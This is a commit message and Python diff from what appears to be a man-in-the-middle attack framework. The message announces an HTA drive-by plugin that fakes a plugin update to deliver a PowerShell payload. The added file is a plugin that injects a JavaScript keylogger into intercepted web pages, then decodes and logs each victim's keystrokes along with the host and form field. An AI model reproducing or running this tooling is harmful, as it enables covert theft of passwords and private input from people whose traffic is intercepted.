This is a vewwwy big commit

- The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes
- The logging of the whole framework has been compleatly overhauled
- plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying!
- New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload
- the API of the plugins has been simplified
- Improvements and error handling to user-agent parsing
- Some misc bugfixes

plugins/jskeylogger.py

@@ -0,0 +1,62 @@
+#!/usr/bin/env python2.7
+
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+from plugins.inject import Inject
+from plugins.plugin import Plugin
+
+class JSKeylogger(Inject, Plugin):
+    name       = "JSKeylogger"
+    optname    = "jskeylogger"
+    desc       = "Injects a javascript keylogger into clients webpages"
+    version    = "0.2"
+
+    def initialize(self, options):
+        Inject.initialize(self, options)
+        self.js_file = "./core/javascript/msfkeylogger.js"
+
+    def request(self, request):
+        if 'keylog' in request.uri:
+            request.handle_post_output = True
+
+            raw_keys = request.postData.split("&&")[0]
+            input_field = request.postData.split("&&")[1]
+
+            keys = raw_keys.split(",")
+            if keys:
+                del keys[0]; del(keys[len(keys)-1])          
+
+                nice = ''
+                for n in keys:
+                    if n == '9':
+                        nice += "<TAB>"
+                    elif n == '8':
+                        nice = nice[:-1]
+                    elif n == '13':
+                        nice = ''
+                    else:
+                        try:
+                            nice += n.decode('hex')
+                        except:
+                            self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)
+
+                self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
+
+    def options(self, options):
+        pass